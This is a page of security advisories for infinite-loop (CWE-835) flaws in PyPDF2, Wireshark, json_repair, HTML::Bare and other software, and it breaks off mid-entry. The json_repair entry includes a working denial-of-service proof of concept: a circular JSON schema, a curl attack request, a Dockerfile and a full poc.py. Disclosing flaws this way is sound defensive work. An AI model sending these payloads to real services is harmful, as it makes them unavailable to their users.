CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1138 vulnerabilities reference this CWE, most recent first.
GHSA-XCJX-M2PJ-8G79
Vulnerability from github – Published: 2022-04-22 20:54 – Updated: 2024-10-14 16:49Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop if the PyPDF2 user wrote the following code:
from PyPDF2 import PdfFileReader, PdfFileWriter
from PyPDF2.pdf import ContentStream
reader = PdfFileReader("malicious.pdf", strict=False)
for page in reader.pages:
ContentStream(page.getContents(), reader)
Patches
PyPDF2==1.27.5 and later are patched.
Credits to Sebastian Krause for finding (issue) and fixing (PR) it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PyPDF2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24859"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-22T20:54:41Z",
"nvd_published_at": "2022-04-18T19:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop if the PyPDF2 user wrote the following code:\n\n```python\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\nfrom PyPDF2.pdf import ContentStream\n\nreader = PdfFileReader(\"malicious.pdf\", strict=False)\nfor page in reader.pages:\n ContentStream(page.getContents(), reader)\n```\n\n### Patches\n\n[`PyPDF2==1.27.5`](https://pypi.org/project/PyPDF2) and later are patched.\n\nCredits to [Sebastian Krause](https://github.com/sekrause) for finding ([issue](https://github.com/py-pdf/PyPDF2/issues/329)) and fixing ([PR](https://github.com/py-pdf/PyPDF2/pull/740)) it.\n",
"id": "GHSA-xcjx-m2pj-8g79",
"modified": "2024-10-14T16:49:22Z",
"published": "2022-04-22T20:54:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/PyPDF2/security/advisories/GHSA-xcjx-m2pj-8g79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24859"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/PyPDF2/issues/329"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/PyPDF2/pull/740"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/PyPDF2"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/PyPDF2/releases/tag/1.27.5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pypdf2/PYSEC-2022-194.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/06/msg00001.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00013.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Manipulated inline images can cause Infinite Loop in PyPDF2"
}
GHSA-XF55-65PG-X58P
Vulnerability from github – Published: 2024-01-03 09:30 – Updated: 2025-11-04 00:30DOCSIS dissector crash in Wireshark 4.2.0 allows denial of service via packet injection or crafted capture file
{
"affected": [],
"aliases": [
"CVE-2024-0211"
],
"database_specific": {
"cwe_ids": [
"CWE-674",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-03T08:15:11Z",
"severity": "HIGH"
},
"details": "DOCSIS dissector crash in Wireshark 4.2.0 allows denial of service via packet injection or crafted capture file",
"id": "GHSA-xf55-65pg-x58p",
"modified": "2025-11-04T00:30:42Z",
"published": "2024-01-03T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0211"
},
{
"type": "WEB",
"url": "https://gitlab.com/wireshark/wireshark/-/issues/19557"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00049.html"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2024-05.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XF7X-X43H-RPQH
Vulnerability from github – Published: 2026-07-13 23:41 – Updated: 2026-07-13 23:41Circular JSON Schema $ref causes unbounded CPU DoS in json_repair
Summary
SchemaRepairer.resolve_schema() in json_repair follows JSON Schema $ref pointers in an unbounded while loop without any cycle detection. An attacker who can supply a schema containing a self-referencing $ref (e.g., via the demo Flask API or any application that passes untrusted input to loads(..., schema=...)), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
Details
SchemaRepairer.resolve_schema() at src/json_repair/schema_repair.py:184–190 resolves $ref chains using a plain while loop:
# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
_resolve_ref() at src/json_repair/schema_repair.py:654–665 always resolves references relative to self.root_schema, which is initialised from the caller-supplied schema (src/json_repair/schema_repair.py:130). When the schema contains a circular reference such as:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
_resolve_ref() returns the same dict object on every iteration, so "$ref" in schema_dict is always True and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)
The only guard is a top-level isinstance(dict, bool) check; there is no $ref depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
docs/app.py:14—request.get_json()reads the attacker-controlled HTTP body.docs/app.py:21–23—schemais extracted; onlydict/booltype check applied.docs/app.py:33–36— schema is forwarded verbatim toloads().src/json_repair/json_repair.py:145–148—schema_from_input(schema)instantiatesSchemaRepairer.src/json_repair/json_repair.py:160—repairer.is_valid()callsresolve_schema(), triggering the infinite loop.src/json_repair/schema_repair.py:184–190— unboundedwhile "$ref" in schema_dictloop (sink).src/json_repair/schema_repair.py:654–665—_resolve_ref()returns the same object on every call.
Recommended fix:
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
...
- schema_dict = cast("dict[str, Any]", schema)
+ schema_dict = cast("dict[str, Any]", schema)
+ seen_schema_ids: set[int] = set()
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
+ if not isinstance(ref, str):
+ raise SchemaDefinitionError("$ref must be a string.")
+ schema_id = id(schema_dict)
+ if schema_id in seen_schema_ids:
+ raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+ seen_schema_ids.add(schema_id)
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
return schema_dict
PoC
Environment setup:
# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/
# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
Alternatively, use the provided Docker image:
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
HTTP attack request (demo API):
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
-H 'Content-Type: application/json' \
--data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124
Direct library attack:
timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124
Observed results (from Docker-based dynamic reproduction):
- Baseline (valid schema
{"type":"object","properties":{"name":{"type":"string"}}}): completed in 0.261 s. - Attack (circular
$refschema): timed out after 5.01 s — process killed; infinite loop confirmed.
Impact
This is an unauthenticated denial-of-service vulnerability. Any single HTTP request carrying a circular $ref schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (docs/app.py) accepts the schema field from the request body without authentication and passes it directly to loads(), remote attackers can exploit this with a trivial one-liner.
Beyond the demo API, any application that exposes json_repair.loads(..., schema=<user-controlled>) to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
WORKDIR /app
# Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/
# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
flask \
flask-cors \
jsonschema \
pydantic && \
pip install --no-cache-dir -e /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition
Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink: src/json_repair/schema_repair.py:185
SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.
Attack schema:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.
Verdict logic:
- Baseline (valid schema) must complete in < TIMEOUT seconds.
- Attack (circular $ref) must still be running at TIMEOUT seconds.
Both conditions together constitute deterministic proof of the vulnerability.
"""
import os
import subprocess
import sys
import tempfile
import time
# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5
CIRCULAR_SCHEMA = {
"$ref": "#/definitions/a",
"definitions": {
"a": {"$ref": "#/definitions/a"}
}
}
NORMAL_SCHEMA = {
"type": "object",
"properties": {
"name": {"type": "string"}
}
}
_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""
def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
"""
Run json_repair loads() with the given schema in an isolated subprocess.
Returns:
timed_out (bool): True if the process was still running at `timeout` seconds.
elapsed (float): Wall-clock seconds until completion or kill.
output (str): stdout/stderr excerpt.
"""
script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
fh.write(script_content)
script_path = fh.name
start = time.monotonic()
try:
proc = subprocess.run(
[sys.executable, script_path],
timeout=timeout,
capture_output=True,
text=True,
)
elapsed = time.monotonic() - start
output = (proc.stdout.strip() or proc.stderr.strip())[:400]
return False, elapsed, output
except subprocess.TimeoutExpired:
elapsed = time.monotonic() - start
return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
finally:
os.unlink(script_path)
def main() -> int:
print("=" * 64)
print("VULN-001 PoC: Circular $ref JSON Schema DoS")
print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
print("=" * 64)
# --- Test 1: baseline (must complete quickly) ---
print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
NORMAL_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_baseline:
print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
baseline_ok = False
else:
print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}")
baseline_ok = True
# --- Test 2: circular $ref attack (must time out) ---
print(
f"\n[TEST 2] Attack — circular $ref schema"
f" (expect hang > {TIMEOUT_SECONDS}s)"
)
print(f" Schema: {CIRCULAR_SCHEMA}")
timed_out_attack, elapsed_attack, output_attack = run_schema_test(
CIRCULAR_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_attack:
print(
f" TIMED OUT after {elapsed_attack:.2f}s "
f"— infinite loop CONFIRMED (VULNERABLE)"
)
attack_confirmed = True
else:
print(
f" Completed in {elapsed_attack:.3f}s -> {output_attack}"
f"\n (patched or not triggered — check installation)"
)
attack_confirmed = False
# --- Summary ---
print("\n" + "=" * 64)
if baseline_ok and attack_confirmed:
print("VERDICT: PASS")
print(" Normal schema : returned in under 1 s")
print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)")
print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
return 0
elif not attack_confirmed:
print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
print(" The library may already be patched in this build.")
return 2
else:
print("VERDICT: FAIL — baseline test failed; check the environment")
return 3
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "json-repair"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.60.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-13T23:41:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184\u2013190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654\u2013665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` \u2014 `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21\u201323` \u2014 `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33\u201336` \u2014 schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145\u2013148` \u2014 `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` \u2014 `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184\u2013190` \u2014 unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654\u2013665` \u2014 `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n def resolve_schema(self, schema: object | None) -\u003e dict[str, Any] | bool:\n ...\n- schema_dict = cast(\"dict[str, Any]\", schema)\n+ schema_dict = cast(\"dict[str, Any]\", schema)\n+ seen_schema_ids: set[int] = set()\n while \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n+ if not isinstance(ref, str):\n+ raise SchemaDefinitionError(\"$ref must be a string.\")\n+ schema_id = id(schema_dict)\n+ if schema_id in seen_schema_ids:\n+ raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+ seen_schema_ids.add(schema_id)\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic \u0026\u0026 \\\n pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}\u0027\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - \u003c\u003c\u0027PY\u0027\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** \u2014 process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=\u003cuser-controlled\u003e)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n flask \\\n flask-cors \\\n jsonschema \\\n pydantic \u0026\u0026 \\\n pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 \u2014 Loop with Unreachable Exit Condition\n\nAffected: json_repair \u003c= 0.59.10 (commit 0015c74)\nSink: src/json_repair/schema_repair.py:185\n SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=\u003cabove\u003e), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n - Baseline (valid schema) must complete in \u003c TIMEOUT seconds.\n - Attack (circular $ref) must still be running at TIMEOUT seconds.\n Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n \"$ref\": \"#/definitions/a\",\n \"definitions\": {\n \"a\": {\"$ref\": \"#/definitions/a\"}\n }\n}\n\nNORMAL_SCHEMA = {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"}\n }\n}\n\n_RUNNER_TEMPLATE = \"\"\"\\\nimport sys\nsys.path.insert(0, \u0027/app/repo/src\u0027)\nfrom json_repair import loads\nschema = {schema_repr}\nresult = loads(\u0027{{}}\u0027, schema=schema)\nprint(result)\n\"\"\"\n\n\ndef run_schema_test(schema: dict, timeout: int) -\u003e tuple[bool, float, str]:\n \"\"\"\n Run json_repair loads() with the given schema in an isolated subprocess.\n\n Returns:\n timed_out (bool): True if the process was still running at `timeout` seconds.\n elapsed (float): Wall-clock seconds until completion or kill.\n output (str): stdout/stderr excerpt.\n \"\"\"\n script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))\n\n with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".py\", delete=False) as fh:\n fh.write(script_content)\n script_path = fh.name\n\n start = time.monotonic()\n try:\n proc = subprocess.run(\n [sys.executable, script_path],\n timeout=timeout,\n capture_output=True,\n text=True,\n )\n elapsed = time.monotonic() - start\n output = (proc.stdout.strip() or proc.stderr.strip())[:400]\n return False, elapsed, output\n except subprocess.TimeoutExpired:\n elapsed = time.monotonic() - start\n return True, elapsed, f\"[no output \u2014 process killed after {elapsed:.2f}s]\"\n finally:\n os.unlink(script_path)\n\n\ndef main() -\u003e int:\n print(\"=\" * 64)\n print(\"VULN-001 PoC: Circular $ref JSON Schema DoS\")\n print(\"json_repair SchemaRepairer.resolve_schema() \u2014 CWE-835\")\n print(\"=\" * 64)\n\n # --- Test 1: baseline (must complete quickly) ---\n print(f\"\\n[TEST 1] Baseline \u2014 valid schema (expect completion \u003c {TIMEOUT_SECONDS}s)\")\n timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(\n NORMAL_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_baseline:\n print(f\" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s \u2014 environment issue\")\n baseline_ok = False\n else:\n print(f\" COMPLETED in {elapsed_baseline:.3f}s -\u003e {output_baseline}\")\n baseline_ok = True\n\n # --- Test 2: circular $ref attack (must time out) ---\n print(\n f\"\\n[TEST 2] Attack \u2014 circular $ref schema\"\n f\" (expect hang \u003e {TIMEOUT_SECONDS}s)\"\n )\n print(f\" Schema: {CIRCULAR_SCHEMA}\")\n timed_out_attack, elapsed_attack, output_attack = run_schema_test(\n CIRCULAR_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_attack:\n print(\n f\" TIMED OUT after {elapsed_attack:.2f}s \"\n f\"\u2014 infinite loop CONFIRMED (VULNERABLE)\"\n )\n attack_confirmed = True\n else:\n print(\n f\" Completed in {elapsed_attack:.3f}s -\u003e {output_attack}\"\n f\"\\n (patched or not triggered \u2014 check installation)\"\n )\n attack_confirmed = False\n\n # --- Summary ---\n print(\"\\n\" + \"=\" * 64)\n if baseline_ok and attack_confirmed:\n print(\"VERDICT: PASS\")\n print(\" Normal schema : returned in under 1 s\")\n print(f\" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)\")\n print(\" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.\")\n return 0\n elif not attack_confirmed:\n print(\"VERDICT: FAIL \u2014 circular $ref did not cause an infinite loop\")\n print(\" The library may already be patched in this build.\")\n return 2\n else:\n print(\"VERDICT: FAIL \u2014 baseline test failed; check the environment\")\n return 3\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-xf7x-x43h-rpqh",
"modified": "2026-07-13T23:41:39Z",
"published": "2026-07-13T23:41:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh"
},
{
"type": "PACKAGE",
"url": "https://github.com/mangiucugna/json_repair"
},
{
"type": "WEB",
"url": "https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS"
}
GHSA-XFXG-9RJG-HQRW
Vulnerability from github – Published: 2026-07-16 18:31 – Updated: 2026-07-17 15:32HTML::Bare versions through 0.04 for Perl will hang in an infinite loop when parsing malformed attributes.
The parserc_parse function never advances the attribute-parse state cursor on certain malformed attribute forms, looping forever.
Nameless attributes such as "" or unbalanced quotes "" can trigger this condition.
Note that the latest version available on CPAN is version 0.02. Newer versions are available on the git repository.
{
"affected": [],
"aliases": [
"CVE-2026-13397"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T17:16:55Z",
"severity": "HIGH"
},
"details": "HTML::Bare versions through 0.04 for Perl will hang in an infinite loop when parsing malformed attributes.\n\nThe parserc_parse function never advances the attribute-parse state cursor on certain malformed attribute forms, looping forever.\n\nNameless attributes such as \"\u003ca =\u0027c\u0027\u003e\" or unbalanced quotes \"\u003ca b=\u0027\u0027\u0027\u0027\u0027\u0027\u0027c\u0027\u003e\" can trigger this condition.\n\nNote that the latest version available on CPAN is version 0.02. Newer versions are available on the git repository.",
"id": "GHSA-xfxg-9rjg-hqrw",
"modified": "2026-07-17T15:32:23Z",
"published": "2026-07-16T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13397"
},
{
"type": "WEB",
"url": "https://github.com/nanoscopic/perl-HTML-Bare/pull/1"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/H/HTML-Bare/0.02/CVE-2026-13397-r1.patch"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/16/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XG67-JWRG-PJC6
Vulnerability from github – Published: 2023-08-14 15:33 – Updated: 2024-04-04 06:54Memory Exhaustion vulnerability in ONLYOFFICE Document Server 4.0.3 through 7.3.2 allows remote attackers to cause a denial of service via crafted JavaScript file.
{
"affected": [],
"aliases": [
"CVE-2023-30188"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-14T13:15:10Z",
"severity": "HIGH"
},
"details": "Memory Exhaustion vulnerability in ONLYOFFICE Document Server 4.0.3 through 7.3.2 allows remote attackers to cause a denial of service via crafted JavaScript file.",
"id": "GHSA-xg67-jwrg-pjc6",
"modified": "2024-04-04T06:54:49Z",
"published": "2023-08-14T15:33:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30188"
},
{
"type": "WEB",
"url": "https://github.com/ONLYOFFICE/core/commit/2b6ad83b36afd9845085b536969d366d1d61150a"
},
{
"type": "WEB",
"url": "https://gist.github.com/merrychap/25eba8c4dd97c9e545edad1b8f0eadc2"
},
{
"type": "WEB",
"url": "https://github.com/ONLYOFFICE/DocumentServer"
},
{
"type": "WEB",
"url": "https://github.com/ONLYOFFICE/core/blob/8ca40a44ce47a86168327a46db91253cf6bb205d/DesktopEditor/doctrenderer"
},
{
"type": "WEB",
"url": "https://github.com/ONLYOFFICE/core/blob/8ca40a44ce47a86168327a46db91253cf6bb205d/DesktopEditor/doctrenderer/embed/NativeControlEmbed.cpp#L110"
},
{
"type": "WEB",
"url": "http://onlyoffice.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGFR-63PQ-C6GP
Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03The dwarf_get_aranges_list function in libdwarf before 20160923 allows remote attackers to cause a denial of service (infinite loop and crash) via a crafted DWARF section.
{
